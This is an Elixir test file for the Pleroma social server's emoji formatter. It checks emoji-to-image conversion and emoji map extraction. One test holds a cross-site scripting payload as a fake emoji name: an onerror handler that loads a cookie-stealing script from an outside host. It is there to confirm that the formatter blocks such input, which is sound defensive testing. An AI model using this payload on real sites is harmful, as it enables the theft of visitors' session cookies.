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# Pleroma: A lightweight social networking server
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# Copyright © 2017-2021 Pleroma Authors <https://pleroma.social/>
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# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.FormatterTest do
alias Pleroma.Emoji.Formatter
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use Pleroma.DataCase , async : true
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describe " emojify " do
test " it adds cool emoji " do
text = " I love :firefox: "
expected_result =
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" I love <img class= \" emoji \" alt= \" firefox \" title= \" firefox \" src= \" /emoji/Firefox.gif \" /> "
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assert Formatter . emojify ( text ) == expected_result
end
test " it does not add XSS emoji " do
text =
" I love :'onload= \" this.src='bacon' \" onerror='var a = document.createElement( \" script \" );a.src= \" //51.15.235.162.xip.io/cookie.js \" ;document.body.appendChild(a): "
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custom_emoji =
{
" 'onload= \" this.src='bacon' \" onerror='var a = document.createElement( \" script \" );a.src= \" //51.15.235.162.xip.io/cookie.js \" ;document.body.appendChild(a) " ,
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" https://placehold.it/1x1 "
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}
|> Pleroma.Emoji . build ( )
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refute Formatter . emojify ( text , [ { custom_emoji . code , custom_emoji } ] ) =~ text
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end
end
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describe " get_emoji_map " do
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test " it returns the emoji used in the text " do
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assert Formatter . get_emoji_map ( " I love :firefox: " ) == %{
" firefox " = > " http://localhost:4001/emoji/Firefox.gif "
}
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end
test " it returns a nice empty result when no emojis are present " do
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assert Formatter . get_emoji_map ( " I love moominamma " ) == %{ }
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end
test " it doesn't die when text is absent " do
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assert Formatter . get_emoji_map ( nil ) == %{ }
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end
end
end